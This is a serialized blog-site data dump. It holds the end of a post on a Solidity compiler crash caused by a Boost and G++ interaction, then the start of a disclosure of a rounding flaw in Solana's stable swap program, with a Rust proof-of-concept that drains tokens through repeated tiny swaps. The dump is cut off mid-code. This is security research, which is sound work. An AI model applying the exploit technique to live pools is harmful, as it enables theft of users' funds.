if",{"type":23,"tag":41,"props":2442,"children":2443},{"style":70},[2444],{"type":28,"value":142},{"type":23,"tag":41,"props":2446,"children":2447},{"style":858},[2448],{"type":28,"value":2395},{"type":23,"tag":41,"props":2450,"children":2451},{"style":70},[2452],{"type":28,"value":2453},"->",{"type":23,"tag":41,"props":2455,"children":2456},{"style":114},[2457],{"type":28,"value":2458},"annotation",{"type":23,"tag":41,"props":2460,"children":2461},{"style":70},[2462],{"type":28,"value":2463},"().",{"type":23,"tag":41,"props":2465,"children":2466},{"style":858},[2467],{"type":28,"value":1669},{"type":23,"tag":41,"props":2469,"children":2470},{"style":170},[2471],{"type":28,"value":2472}," &&",{"type":23,"tag":41,"props":2474,"children":2475},{"style":858},[2476],{"type":28,"value":2477}," length",{"type":23,"tag":41,"props":2479,"children":2480},{"style":70},[2481],{"type":28,"value":2453},{"type":23,"tag":41,"props":2483,"children":2484},{"style":114},[2485],{"type":28,"value":2458},{"type":23,"tag":41,"props":2487,"children":2488},{"style":70},[2489],{"type":28,"value":2463},{"type":23,"tag":41,"props":2491,"children":2492},{"style":858},[2493],{"type":28,"value":1669},{"type":23,"tag":41,"props":2495,"children":2496},{"style":70},[2497],{"type":28,"value":2453},{"type":23,"tag":41,"props":2499,"children":2500},{"style":114},[2501],{"type":28,"value":2502},"category",{"type":23,"tag":41,"props":2504,"children":2505},{"style":70},[2506],{"type":28,"value":122},{"type":23,"tag":41,"props":2508,"children":2509},{"style":170},[2510],{"type":28,"value":387},{"type":23,"tag":41,"props":2512,"children":2513},{"style":70},[2514],{"type":28,"value":2515}," Type::Category::RationalNumber)\n",{"type":23,"tag":41,"props":2517,"children":2518},{"class":43,"line":105},[2519],{"type":23,"tag":41,"props":2520,"children":2521},{"style":70},[2522],{"type":28,"value":2523},"        ...\n",{"type":23,"tag":41,"props":2525,"children":2526},{"class":43,"line":155},[2527,2532,2537,2542,2546,2551,2555,2560,2564,2569,2574],{"type":23,"tag":41,"props":2528,"children":2529},{"style":58},[2530],{"type":28,"value":2531},"    else",{"type":23,"tag":41,"props":2533,"children":2534},{"style":58},[2535],{"type":28,"value":2536}," if",{"type":23,"tag":41,"props":2538,"children":2539},{"style":70},[2540],{"type":28,"value":2541}," (std::optional",{"type":23,"tag":41,"props":2543,"children":2544},{"style":170},[2545],{"type":28,"value":1012},{"type":23,"tag":41,"props":2547,"children":2548},{"style":70},[2549],{"type":28,"value":2550},"ConstantEvaluator::TypedRational",{"type":23,"tag":41,"props":2552,"children":2553},{"style":170},[2554],{"type":28,"value":1022},{"type":23,"tag":41,"props":2556,"children":2557},{"style":70},[2558],{"type":28,"value":2559}," value ",{"type":23,"tag":41,"props":2561,"children":2562},{"style":170},[2563],{"type":28,"value":2381},{"type":23,"tag":41,"props":2565,"children":2566},{"style":70},[2567],{"type":28,"value":2568}," ConstantEvaluator::",{"type":23,"tag":41,"props":2570,"children":2571},{"style":114},[2572],{"type":28,"value":2573},"evaluate",{"type":23,"tag":41,"props":2575,"children":2576},{"style":70},[2577],{"type":28,"value":2578},"(...))\n",{"type":23,"tag":41,"props":2580,"children":2581},{"class":43,"line":186},[2582,2587,2591,2596,2600,2604],{"type":23,"tag":41,"props":2583,"children":2584},{"style":70},[2585],{"type":28,"value":2586},"        lengthValue ",{"type":23,"tag":41,"props":2588,"children":2589},{"style":170},[2590],{"type":28,"value":2381},{"type":23,"tag":41,"props":2592,"children":2593},{"style":858},[2594],{"type":28,"value":2595}," value",{"type":23,"tag":41,"props":2597,"children":2598},{"style":70},[2599],{"type":28,"value":2453},{"type":23,"tag":41,"props":2601,"children":2602},{"style":858},[2603],{"type":28,"value":1652},{"type":23,"tag":41,"props":2605,"children":2606},{"style":70},[2607],{"type":28,"value":183},{"type":23,"tag":41,"props":2609,"children":2610},{"class":43,"line":195},[2611],{"type":23,"tag":41,"props":2612,"children":2613},{"emptyLinePlaceholder":18},[2614],{"type":28,"value":82},{"type":23,"tag":41,"props":2616,"children":2617},{"class":43,"line":905},[2618,2622,2626,2631],{"type":23,"tag":41,"props":2619,"children":2620},{"style":58},[2621],{"type":28,"value":2440},{"type":23,"tag":41,"props":2623,"children":2624},{"style":70},[2625],{"type":28,"value":142},{"type":23,"tag":41,"props":2627,"children":2628},{"style":170},[2629],{"type":28,"value":2630},"!",{"type":23,"tag":41,"props":2632,"children":2633},{"style":70},[2634],{"type":28,"value":2635},"lengthValue)\n",{"type":23,"tag":41,"props":2637,"children":2638},{"class":43,"line":922},[2639],{"type":23,"tag":41,"props":2640,"children":2641},{"style":70},[2642],{"type":28,"value":2523},{"type":23,"tag":41,"props":2644,"children":2645},{"class":43,"line":930},[2646,2650,2654,2658,2662,2666,2670,2674,2679],{"type":23,"tag":41,"props":2647,"children":2648},{"style":58},[2649],{"type":28,"value":2531},{"type":23,"tag":41,"props":2651,"children":2652},{"style":58},[2653],{"type":28,"value":2536},{"type":23,"tag":41,"props":2655,"children":2656},{"style":70},[2657],{"type":28,"value":142},{"type":23,"tag":41,"props":2659,"children":2660},{"style":170},[2661],{"type":28,"value":377},{"type":23,"tag":41,"props":2663,"children":2664},{"style":70},[2665],{"type":28,"value":382},{"type":23,"tag":41,"props":2667,"children":2668},{"style":170},[2669],{"type":28,"value":387},{"type":23,"tag":41,"props":2671,"children":2672},{"style":164},[2673],{"type":28,"value":392},{"type":23,"tag":41,"props":2675,"children":2676},{"style":70},[2677],{"type":28,"value":2678},")",{"type":23,"tag":41,"props":2680,"children":2681},{"style":48},[2682],{"type":28,"value":2683},"  // \u003C-- Infinite recursion happens here\n",{"type":23,"tag":41,"props":2685,"children":2686},{"class":43,"line":939},[2687],{"type":23,"tag":41,"props":2688,"children":2689},{"style":70},[2690],{"type":28,"value":2523},{"type":23,"tag":41,"props":2692,"children":2693},{"class":43,"line":947},[2694],{"type":23,"tag":41,"props":2695,"children":2696},{"style":70},[2697],{"type":28,"value":201},{"type":23,"tag":24,"props":2699,"children":2700},{},[2701],{"type":28,"value":2702},"Under normal circumstances, this expression is benign. But:",{"type":23,"tag":417,"props":2704,"children":2705},{},[2706,2711,2716],{"type":23,"tag":421,"props":2707,"children":2708},{},[2709],{"type":28,"value":2710},"G++ \u003C 14 wrongly prefers Boost's non-member operator",{"type":23,"tag":421,"props":2712,"children":2713},{},[2714],{"type":28,"value":2715},"C++20 reverses the arguments",{"type":23,"tag":421,"props":2717,"children":2718},{},[2719],{"type":28,"value":2720},"The non-member operator recursively calls itself",{"type":23,"tag":24,"props":2722,"children":2723},{},[2724],{"type":28,"value":2725},"💥: segmentation fault.",{"type":23,"tag":442,"props":2727,"children":2728},{},[],{"type":23,"tag":446,"props":2730,"children":2732},{"id":2731},"part-v-what-environments-are-affected",[2733],{"type":28,"value":2734},"Part V: What Environments are Affected?",{"type":23,"tag":24,"props":2736,"children":2737},{},[2738],{"type":28,"value":2739},"If a system uses any of the following:",{"type":23,"tag":417,"props":2741,"children":2742},{},[2743,2748,2753],{"type":23,"tag":421,"props":2744,"children":2745},{},[2746],{"type":28,"value":2747},"G++ \u003C 14 (e.g., Ubuntu 22.04 uses 11.4)",{"type":23,"tag":421,"props":2749,"children":2750},{},[2751],{"type":28,"value":2752},"Boost \u003C 1.75 (e.g., 1.74 ships with Ubuntu)",{"type":23,"tag":421,"props":2754,"children":2755},{},[2756],{"type":28,"value":2757},"C++20 enabled (default in recent Solidity builds)",{"type":23,"tag":24,"props":2759,"children":2760},{},[2761,2763,2768,2770,2776],{"type":28,"value":2762},"They will encounter this crash ",{"type":23,"tag":510,"props":2764,"children":2765},{},[2766],{"type":28,"value":2767},"as soon as",{"type":28,"value":2769}," it processes a Solidity source with a length expression like ",{"type":23,"tag":37,"props":2771,"children":2773},{"className":2772},[],[2774],{"type":28,"value":2775},"T[0]",{"type":28,"value":2777}," or anything involving compile-time rational comparisons.",{"type":23,"tag":442,"props":2779,"children":2780},{},[],{"type":23,"tag":446,"props":2782,"children":2784},{"id":2783},"recommendations",[2785],{"type":28,"value":2786},"Recommendations",{"type":23,"tag":417,"props":2788,"children":2789},{},[2790,2798],{"type":23,"tag":421,"props":2791,"children":2792},{},[2793],{"type":23,"tag":510,"props":2794,"children":2795},{},[2796],{"type":28,"value":2797},"Update Boost to ≥ 1.75",{"type":23,"tag":421,"props":2799,"children":2800},{},[2801],{"type":23,"tag":510,"props":2802,"children":2803},{},[2804],{"type":28,"value":2805},"Pin G++ to v14 or later",{"type":23,"tag":442,"props":2807,"children":2808},{},[],{"type":23,"tag":446,"props":2810,"children":2812},{"id":2811},"conclusion",[2813],{"type":28,"value":2814},"Conclusion",{"type":23,"tag":24,"props":2816,"children":2817},{},[2818],{"type":28,"value":2819},"This isn’t a security vulnerability. It doesn’t corrupt memory or allow code execution.",{"type":23,"tag":24,"props":2821,"children":2822},{},[2823,2825,2830],{"type":28,"value":2824},"But it ",{"type":23,"tag":510,"props":2826,"children":2827},{},[2828],{"type":28,"value":2829},"is",{"type":28,"value":2831}," a reminder of the fragility of modern build stacks. A bug introduced in 2012, fixed in 2024, quietly broke one of the most used blockchain compiler toolchains — all without any code in the Solidity repo being “wrong.”",{"type":23,"tag":24,"props":2833,"children":2834},{},[2835],{"type":28,"value":2836},"Every layer here — Boost, G++, the C++20 spec, and Solidity — behaved “as documented.” But together, they composed into undefined behavior.",{"type":23,"tag":24,"props":2838,"children":2839},{},[2840],{"type":28,"value":2841},"The lesson? Always test critical software under multiple compilers and library versions — especially when enabling a new language standard.",{"type":23,"tag":2843,"props":2844,"children":2845},"style",{},[2846],{"type":28,"value":2847},"html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}",{"title":7,"searchDepth":54,"depth":54,"links":2849},[2850,2851,2856,2859,2860,2861,2862,2863],{"id":448,"depth":54,"text":451},{"id":541,"depth":54,"text":544,"children":2852},[2853,2854,2855],{"id":548,"depth":76,"text":551},{"id":616,"depth":76,"text":619},{"id":709,"depth":76,"text":712},{"id":1332,"depth":54,"text":1335,"children":2857},[2858],{"id":1338,"depth":76,"text":1341},{"id":1451,"depth":54,"text":1454},{"id":2317,"depth":54,"text":2320},{"id":2731,"depth":54,"text":2734},{"id":2783,"depth":54,"text":2786},{"id":2811,"depth":54,"text":2814},"markdown","content:blog:2025-08-11-compiler-bug-causes-compiler-bug.md","content","blog/2025-08-11-compiler-bug-causes-compiler-bug.md","blog/2025-08-11-compiler-bug-causes-compiler-bug","md",[2871,5378,5716,9257,13611,18734,29002,30427,31189,35416,40437,45869,47024,50515,60910,67636,69475,71184,75848,89745,92190,96979,99419,101764,107550,123370,131670,141594,146872,156265,158602],{"_path":2872,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":2873,"description":2874,"image":2875,"date":2879,"isFeatured":18,"tags":2880,"onBlogPage":18,"body":2883,"_type":2864,"_id":5375,"_source":2866,"_file":5376,"_stem":5377,"_extension":2869},"/blog/2022-04-26-spl-swap-rounding","Becoming a Millionaire, 0.000150 BTC at a Time","How we discovered a critical issue in Solana's stable swap implementation. A story about arbitrage and rounding.",{"src":2876,"width":2877,"height":2878},"/posts/spl-swap/title.jpg",600,368,"2022-04-26",[2881,2882],"solana","report",{"type":20,"children":2884,"toc":5369},[2885,2899,2904,2909,2918,2924,2929,2934,2942,2950,2955,2960,2968,2973,2978,3355,3365,3370,3901,3906,3914,3922,3928,3933,3938,3943,3950,3962,3967,3978,4217,4222,4227,4233,4238,4243,4287,4292,4300,4305,4310,4315,4460,4473,4585,4599,4607,4621,4629,4642,4647,4659,4667,4689,5307,5313,5318,5330,5343,5350,5355,5360,5365],{"type":23,"tag":24,"props":2886,"children":2887},{},[2888,2890,2897],{"type":28,"value":2889},"We discovered a critical rounding issue in the Solana Program Library's implementation of stable swap, ",{"type":23,"tag":458,"props":2891,"children":2894},{"href":2892,"rel":2893},"https://github.com/solana-labs/solana-program-library/tree/master/token-swap/program",[462],[2895],{"type":28,"value":2896},"spl-token-swap",{"type":28,"value":2898},". Similar to Neodyme's spl-token-lending exploit, we were able to extract a single token per instruction. This exceeds the value of the 5000 lamport transaction fee on BTC stable swaps, allowing an attacker to profitably drain funds.",{"type":23,"tag":24,"props":2900,"children":2901},{},[2902],{"type":28,"value":2903},"Such BTC stable swaps had over 74 million in combined value. The total value of stable swaps impacted exceed 700 million.",{"type":23,"tag":24,"props":2905,"children":2906},{},[2907],{"type":28,"value":2908},"We would also like to thank the Saber team for their fast triage and remediation.",{"type":23,"tag":24,"props":2910,"children":2911},{},[2912],{"type":23,"tag":2913,"props":2914,"children":2915},"em",{},[2916],{"type":28,"value":2917},"Rounding bugs are an increasingly common vulnerability class, enabled by low transaction costs",{"type":23,"tag":446,"props":2919,"children":2921},{"id":2920},"discovery",[2922],{"type":28,"value":2923},"Discovery",{"type":23,"tag":24,"props":2925,"children":2926},{},[2927],{"type":28,"value":2928},"Parth, one of our researchers, was implementing a graph search for our arbitrage bot to calculate the price of any token relative to SOL.",{"type":23,"tag":24,"props":2930,"children":2931},{},[2932],{"type":28,"value":2933},"After a while, he noticed something weird..",{"type":23,"tag":518,"props":2935,"children":2936},{},[2937],{"type":23,"tag":24,"props":2938,"children":2939},{},[2940],{"type":28,"value":2941},"so either my graph search is wrong\nor its possible to get a ton of money out of nothing",{"type":23,"tag":31,"props":2943,"children":2945},{"code":2944},"KwnjUuZ :              0 9vMJfxu ->              1 EPjFWdd\nKwnjUuZ :              1 EPjFWdd ->              2 9vMJfxu\nKwnjUuZ :              2 9vMJfxu ->              3 EPjFWdd\nHU1tejU :              3 EPjFWdd ->            625 PRT88Rk\n24ZbKS3 :            625 PRT88Rk ->              7 EPjFWdd\n3oRPcFa :              7 EPjFWdd ->              6 BQcdHdA\n",[2946],{"type":23,"tag":37,"props":2947,"children":2948},{"__ignoreMap":7},[2949],{"type":28,"value":2944},{"type":23,"tag":24,"props":2951,"children":2952},{},[2953],{"type":28,"value":2954},"Somehow, we were getting tokens from nothing?",{"type":23,"tag":24,"props":2956,"children":2957},{},[2958],{"type":28,"value":2959},"After taking a look at the pairs on which this was occuring, we quickly realized that only stable swap pairs were impacted.",{"type":23,"tag":31,"props":2961,"children":2963},{"code":2962},"KwnjUuZhTMTSGAaavkLEmSyfobY16JNH4poL9oeeEvE\nHU1tejUtt7AZYrC9SAuqCW9MpuSqsdoedHSb1XUKjUPN\n24ZbKS36rkPv14Tdx8qv4NRyqatTaJ5KgJrT1LxBKn5d\n3oRPcFaRHvv9pPR6nRasigVDkm3k9kTjdfjxUpgLV5Pq\n",[2964],{"type":23,"tag":37,"props":2965,"children":2966},{"__ignoreMap":7},[2967],{"type":28,"value":2962},{"type":23,"tag":24,"props":2969,"children":2970},{},[2971],{"type":28,"value":2972},"This seemed suspicious. Perhaps it had something to do with the stable swap math?",{"type":23,"tag":24,"props":2974,"children":2975},{},[2976],{"type":28,"value":2977},"It was also weird how we could only ever get at most one extra token. As usual, the best way to answer such questions is to read the code. We dived into the stable swap Solana implementation to look for a possible root cause.",{"type":23,"tag":31,"props":2979,"children":2983},{"code":2980,"language":2981,"meta":7,"className":2982,"style":7},"    // Solve for y by approximating: y**2 + b*y = c\n    let mut y = d_val;\n    for _ in 0..ITERATIONS {\n        let (y_new, _) = (checked_u8_power(&y, 2)?.checked_add(c)?)\n            .checked_ceil_div(checked_u8_mul(&y, 2)?.checked_add(b)?.checked_sub(d_val)?)?;\n        if y_new == y {\n            break;\n        } else {\n            y = y_new;\n        }\n    }\n","rust","language-rust shiki shiki-themes slack-dark",[2984],{"type":23,"tag":37,"props":2985,"children":2986},{"__ignoreMap":7},[2987,2995,3027,3059,3160,3265,3291,3303,3320,3340,3348],{"type":23,"tag":41,"props":2988,"children":2989},{"class":43,"line":44},[2990],{"type":23,"tag":41,"props":2991,"children":2992},{"style":48},[2993],{"type":28,"value":2994},"    // Solve for y by approximating: y**2 + b*y = c\n",{"type":23,"tag":41,"props":2996,"children":2997},{"class":43,"line":54},[2998,3003,3008,3013,3018,3023],{"type":23,"tag":41,"props":2999,"children":3000},{"style":64},[3001],{"type":28,"value":3002},"    let",{"type":23,"tag":41,"props":3004,"children":3005},{"style":64},[3006],{"type":28,"value":3007}," mut",{"type":23,"tag":41,"props":3009,"children":3010},{"style":858},[3011],{"type":28,"value":3012}," y",{"type":23,"tag":41,"props":3014,"children":3015},{"style":170},[3016],{"type":28,"value":3017}," =",{"type":23,"tag":41,"props":3019,"children":3020},{"style":858},[3021],{"type":28,"value":3022}," d_val",{"type":23,"tag":41,"props":3024,"children":3025},{"style":70},[3026],{"type":28,"value":183},{"type":23,"tag":41,"props":3028,"children":3029},{"class":43,"line":76},[3030,3035,3040,3045,3049,3054],{"type":23,"tag":41,"props":3031,"children":3032},{"style":58},[3033],{"type":28,"value":3034},"    for",{"type":23,"tag":41,"props":3036,"children":3037},{"style":858},[3038],{"type":28,"value":3039}," _",{"type":23,"tag":41,"props":3041,"children":3042},{"style":64},[3043],{"type":28,"value":3044}," in",{"type":23,"tag":41,"props":3046,"children":3047},{"style":164},[3048],{"type":28,"value":392},{"type":23,"tag":41,"props":3050,"children":3051},{"style":170},[3052],{"type":28,"value":3053},"..",{"type":23,"tag":41,"props":3055,"children":3056},{"style":70},[3057],{"type":28,"value":3058},"ITERATIONS {\n",{"type":23,"tag":41,"props":3060,"children":3061},{"class":43,"line":85},[3062,3067,3071,3076,3080,3085,3089,3093,3097,3102,3106,3110,3115,3119,3124,3128,3133,3138,3142,3147,3151,3156],{"type":23,"tag":41,"props":3063,"children":3064},{"style":64},[3065],{"type":28,"value":3066},"        let",{"type":23,"tag":41,"props":3068,"children":3069},{"style":70},[3070],{"type":28,"value":142},{"type":23,"tag":41,"props":3072,"children":3073},{"style":858},[3074],{"type":28,"value":3075},"y_new",{"type":23,"tag":41,"props":3077,"children":3078},{"style":70},[3079],{"type":28,"value":970},{"type":23,"tag":41,"props":3081,"children":3082},{"style":858},[3083],{"type":28,"value":3084},"_",{"type":23,"tag":41,"props":3086,"children":3087},{"style":70},[3088],{"type":28,"value":866},{"type":23,"tag":41,"props":3090,"children":3091},{"style":170},[3092],{"type":28,"value":2381},{"type":23,"tag":41,"props":3094,"children":3095},{"style":70},[3096],{"type":28,"value":142},{"type":23,"tag":41,"props":3098,"children":3099},{"style":114},[3100],{"type":28,"value":3101},"checked_u8_power",{"type":23,"tag":41,"props":3103,"children":3104},{"style":70},[3105],{"type":28,"value":1737},{"type":23,"tag":41,"props":3107,"children":3108},{"style":170},[3109],{"type":28,"value":855},{"type":23,"tag":41,"props":3111,"children":3112},{"style":858},[3113],{"type":28,"value":3114},"y",{"type":23,"tag":41,"props":3116,"children":3117},{"style":70},[3118],{"type":28,"value":970},{"type":23,"tag":41,"props":3120,"children":3121},{"style":164},[3122],{"type":28,"value":3123},"2",{"type":23,"tag":41,"props":3125,"children":3126},{"style":70},[3127],{"type":28,"value":2678},{"type":23,"tag":41,"props":3129,"children":3130},{"style":170},[3131],{"type":28,"value":3132},"?.",{"type":23,"tag":41,"props":3134,"children":3135},{"style":114},[3136],{"type":28,"value":3137},"checked_add",{"type":23,"tag":41,"props":3139,"children":3140},{"style":70},[3141],{"type":28,"value":1737},{"type":23,"tag":41,"props":3143,"children":3144},{"style":858},[3145],{"type":28,"value":3146},"c",{"type":23,"tag":41,"props":3148,"children":3149},{"style":70},[3150],{"type":28,"value":2678},{"type":23,"tag":41,"props":3152,"children":3153},{"style":170},[3154],{"type":28,"value":3155},"?",{"type":23,"tag":41,"props":3157,"children":3158},{"style":70},[3159],{"type":28,"value":1969},{"type":23,"tag":41,"props":3161,"children":3162},{"class":43,"line":105},[3163,3168,3173,3177,3182,3186,3190,3194,3198,3202,3206,3210,3214,3218,3223,3227,3231,3236,3240,3245,3249,3253,3257,3261],{"type":23,"tag":41,"props":3164,"children":3165},{"style":170},[3166],{"type":28,"value":3167},"            .",{"type":23,"tag":41,"props":3169,"children":3170},{"style":114},[3171],{"type":28,"value":3172},"checked_ceil_div",{"type":23,"tag":41,"props":3174,"children":3175},{"style":70},[3176],{"type":28,"value":1737},{"type":23,"tag":41,"props":3178,"children":3179},{"style":114},[3180],{"type":28,"value":3181},"checked_u8_mul",{"type":23,"tag":41,"props":3183,"children":3184},{"style":70},[3185],{"type":28,"value":1737},{"type":23,"tag":41,"props":3187,"children":3188},{"style":170},[3189],{"type":28,"value":855},{"type":23,"tag":41,"props":3191,"children":3192},{"style":858},[3193],{"type":28,"value":3114},{"type":23,"tag":41,"props":3195,"children":3196},{"style":70},[3197],{"type":28,"value":970},{"type":23,"tag":41,"props":3199,"children":3200},{"style":164},[3201],{"type":28,"value":3123},{"type":23,"tag":41,"props":3203,"children":3204},{"style":70},[3205],{"type":28,"value":2678},{"type":23,"tag":41,"props":3207,"children":3208},{"style":170},[3209],{"type":28,"value":3132},{"type":23,"tag":41,"props":3211,"children":3212},{"style":114},[3213],{"type":28,"value":3137},{"type":23,"tag":41,"props":3215,"children":3216},{"style":70},[3217],{"type":28,"value":1737},{"type":23,"tag":41,"props":3219,"children":3220},{"style":858},[3221],{"type":28,"value":3222},"b",{"type":23,"tag":41,"props":3224,"children":3225},{"style":70},[3226],{"type":28,"value":2678},{"type":23,"tag":41,"props":3228,"children":3229},{"style":170},[3230],{"type":28,"value":3132},{"type":23,"tag":41,"props":3232,"children":3233},{"style":114},[3234],{"type":28,"value":3235},"checked_sub",{"type":23,"tag":41,"props":3237,"children":3238},{"style":70},[3239],{"type":28,"value":1737},{"type":23,"tag":41,"props":3241,"children":3242},{"style":858},[3243],{"type":28,"value":3244},"d_val",{"type":23,"tag":41,"props":3246,"children":3247},{"style":70},[3248],{"type":28,"value":2678},{"type":23,"tag":41,"props":3250,"children":3251},{"style":170},[3252],{"type":28,"value":3155},{"type":23,"tag":41,"props":3254,"children":3255},{"style":70},[3256],{"type":28,"value":2678},{"type":23,"tag":41,"props":3258,"children":3259},{"style":170},[3260],{"type":28,"value":3155},{"type":23,"tag":41,"props":3262,"children":3263},{"style":70},[3264],{"type":28,"value":183},{"type":23,"tag":41,"props":3266,"children":3267},{"class":43,"line":155},[3268,3273,3278,3283,3287],{"type":23,"tag":41,"props":3269,"children":3270},{"style":58},[3271],{"type":28,"value":3272},"        if",{"type":23,"tag":41,"props":3274,"children":3275},{"style":858},[3276],{"type":28,"value":3277}," y_new",{"type":23,"tag":41,"props":3279,"children":3280},{"style":170},[3281],{"type":28,"value":3282}," ==",{"type":23,"tag":41,"props":3284,"children":3285},{"style":858},[3286],{"type":28,"value":3012},{"type":23,"tag":41,"props":3288,"children":3289},{"style":70},[3290],{"type":28,"value":102},{"type":23,"tag":41,"props":3292,"children":3293},{"class":43,"line":186},[3294,3299],{"type":23,"tag":41,"props":3295,"children":3296},{"style":58},[3297],{"type":28,"value":3298},"            break",{"type":23,"tag":41,"props":3300,"children":3301},{"style":70},[3302],{"type":28,"value":183},{"type":23,"tag":41,"props":3304,"children":3305},{"class":43,"line":195},[3306,3311,3316],{"type":23,"tag":41,"props":3307,"children":3308},{"style":70},[3309],{"type":28,"value":3310},"        } ",{"type":23,"tag":41,"props":3312,"children":3313},{"style":58},[3314],{"type":28,"value":3315},"else",{"type":23,"tag":41,"props":3317,"children":3318},{"style":70},[3319],{"type":28,"value":102},{"type":23,"tag":41,"props":3321,"children":3322},{"class":43,"line":905},[3323,3328,3332,3336],{"type":23,"tag":41,"props":3324,"children":3325},{"style":858},[3326],{"type":28,"value":3327},"            y",{"type":23,"tag":41,"props":3329,"children":3330},{"style":170},[3331],{"type":28,"value":3017},{"type":23,"tag":41,"props":3333,"children":3334},{"style":858},[3335],{"type":28,"value":3277},{"type":23,"tag":41,"props":3337,"children":3338},{"style":70},[3339],{"type":28,"value":183},{"type":23,"tag":41,"props":3341,"children":3342},{"class":43,"line":922},[3343],{"type":23,"tag":41,"props":3344,"children":3345},{"style":70},[3346],{"type":28,"value":3347},"        }\n",{"type":23,"tag":41,"props":3349,"children":3350},{"class":43,"line":930},[3351],{"type":23,"tag":41,"props":3352,"children":3353},{"style":70},[3354],{"type":28,"value":192},{"type":23,"tag":24,"props":3356,"children":3357},{},[3358,3363],{"type":23,"tag":2913,"props":3359,"children":3360},{},[3361],{"type":28,"value":3362},"approximate",{"type":28,"value":3364},". Looks suspicious.. Perhaps we really did find a bug in the Solana Program Library?",{"type":23,"tag":24,"props":3366,"children":3367},{},[3368],{"type":28,"value":3369},"With this promising find in mind, we decided to throw together a quick proof of concept. To do this, we attempted to swap very small amounts of tokens back and forth between sBTC and renBTC.",{"type":23,"tag":31,"props":3371,"children":3373},{"code":3372,"language":2981,"meta":7,"className":2982,"style":7},"// from sbtc to renbtc\nfor i in 0 .. 50u8 {\n    // create swap transaction\n    let mut swap_instruction = swap(\n        &spl_token::id(),\n        &swap_pubkey,\n        &swap_authority_pubkey,\n        &test_account_signer.pubkey(),\n        &sbtc_user_account,\n        &sbtc_reserve,\n        &renbtc_reserve,\n        &renbtc_user_account,\n        &admin_fee_account_sbtc_to_ren,\n        1,\n        2\n    ).unwrap();\n\n    // nonce\n    swap_instruction.data.append(&mut vec![i, extranonce]);\n\n    let mut instructions = vec![];\n\n    instructions.push(swap_instruction);\n\n    env.execute_as_transaction(&instructions, &vec![&test_account_signer]);\n}\n",[3374],{"type":23,"tag":37,"props":3375,"children":3376},{"__ignoreMap":7},[3377,3385,3424,3432,3462,3490,3507,3523,3548,3564,3580,3596,3612,3628,3640,3648,3670,3677,3685,3752,3759,3788,3795,3826,3833,3893],{"type":23,"tag":41,"props":3378,"children":3379},{"class":43,"line":44},[3380],{"type":23,"tag":41,"props":3381,"children":3382},{"style":48},[3383],{"type":28,"value":3384},"// from sbtc to renbtc\n",{"type":23,"tag":41,"props":3386,"children":3387},{"class":43,"line":54},[3388,3393,3397,3401,3405,3410,3415,3420],{"type":23,"tag":41,"props":3389,"children":3390},{"style":58},[3391],{"type":28,"value":3392},"for",{"type":23,"tag":41,"props":3394,"children":3395},{"style":858},[3396],{"type":28,"value":861},{"type":23,"tag":41,"props":3398,"children":3399},{"style":64},[3400],{"type":28,"value":3044},{"type":23,"tag":41,"props":3402,"children":3403},{"style":164},[3404],{"type":28,"value":392},{"type":23,"tag":41,"props":3406,"children":3407},{"style":170},[3408],{"type":28,"value":3409}," ..",{"type":23,"tag":41,"props":3411,"children":3412},{"style":164},[3413],{"type":28,"value":3414}," 50",{"type":23,"tag":41,"props":3416,"children":3417},{"style":94},[3418],{"type":28,"value":3419},"u8",{"type":23,"tag":41,"props":3421,"children":3422},{"style":70},[3423],{"type":28,"value":102},{"type":23,"tag":41,"props":3425,"children":3426},{"class":43,"line":76},[3427],{"type":23,"tag":41,"props":3428,"children":3429},{"style":48},[3430],{"type":28,"value":3431},"    // create swap transaction\n",{"type":23,"tag":41,"props":3433,"children":3434},{"class":43,"line":85},[3435,3439,3443,3448,3452,3457],{"type":23,"tag":41,"props":3436,"children":3437},{"style":64},[3438],{"type":28,"value":3002},{"type":23,"tag":41,"props":3440,"children":3441},{"style":64},[3442],{"type":28,"value":3007},{"type":23,"tag":41,"props":3444,"children":3445},{"style":858},[3446],{"type":28,"value":3447}," swap_instruction",{"type":23,"tag":41,"props":3449,"children":3450},{"style":170},[3451],{"type":28,"value":3017},{"type":23,"tag":41,"props":3453,"children":3454},{"style":114},[3455],{"type":28,"value":3456}," swap",{"type":23,"tag":41,"props":3458,"children":3459},{"style":70},[3460],{"type":28,"value":3461},"(\n",{"type":23,"tag":41,"props":3463,"children":3464},{"class":43,"line":105},[3465,3470,3475,3480,3485],{"type":23,"tag":41,"props":3466,"children":3467},{"style":170},[3468],{"type":28,"value":3469},"        &",{"type":23,"tag":41,"props":3471,"children":3472},{"style":70},[3473],{"type":28,"value":3474},"spl_token",{"type":23,"tag":41,"props":3476,"children":3477},{"style":170},[3478],{"type":28,"value":3479},"::",{"type":23,"tag":41,"props":3481,"children":3482},{"style":114},[3483],{"type":28,"value":3484},"id",{"type":23,"tag":41,"props":3486,"children":3487},{"style":70},[3488],{"type":28,"value":3489},"(),\n",{"type":23,"tag":41,"props":3491,"children":3492},{"class":43,"line":155},[3493,3497,3502],{"type":23,"tag":41,"props":3494,"children":3495},{"style":170},[3496],{"type":28,"value":3469},{"type":23,"tag":41,"props":3498,"children":3499},{"style":858},[3500],{"type":28,"value":3501},"swap_pubkey",{"type":23,"tag":41,"props":3503,"children":3504},{"style":70},[3505],{"type":28,"value":3506},",\n",{"type":23,"tag":41,"props":3508,"children":3509},{"class":43,"line":186},[3510,3514,3519],{"type":23,"tag":41,"props":3511,"children":3512},{"style":170},[3513],{"type":28,"value":3469},{"type":23,"tag":41,"props":3515,"children":3516},{"style":858},[3517],{"type":28,"value":3518},"swap_authority_pubkey",{"type":23,"tag":41,"props":3520,"children":3521},{"style":70},[3522],{"type":28,"value":3506},{"type":23,"tag":41,"props":3524,"children":3525},{"class":43,"line":195},[3526,3530,3535,3539,3544],{"type":23,"tag":41,"props":3527,"children":3528},{"style":170},[3529],{"type":28,"value":3469},{"type":23,"tag":41,"props":3531,"children":3532},{"style":858},[3533],{"type":28,"value":3534},"test_account_signer",{"type":23,"tag":41,"props":3536,"children":3537},{"style":170},[3538],{"type":28,"value":706},{"type":23,"tag":41,"props":3540,"children":3541},{"style":114},[3542],{"type":28,"value":3543},"pubkey",{"type":23,"tag":41,"props":3545,"children":3546},{"style":70},[3547],{"type":28,"value":3489},{"type":23,"tag":41,"props":3549,"children":3550},{"class":43,"line":905},[3551,3555,3560],{"t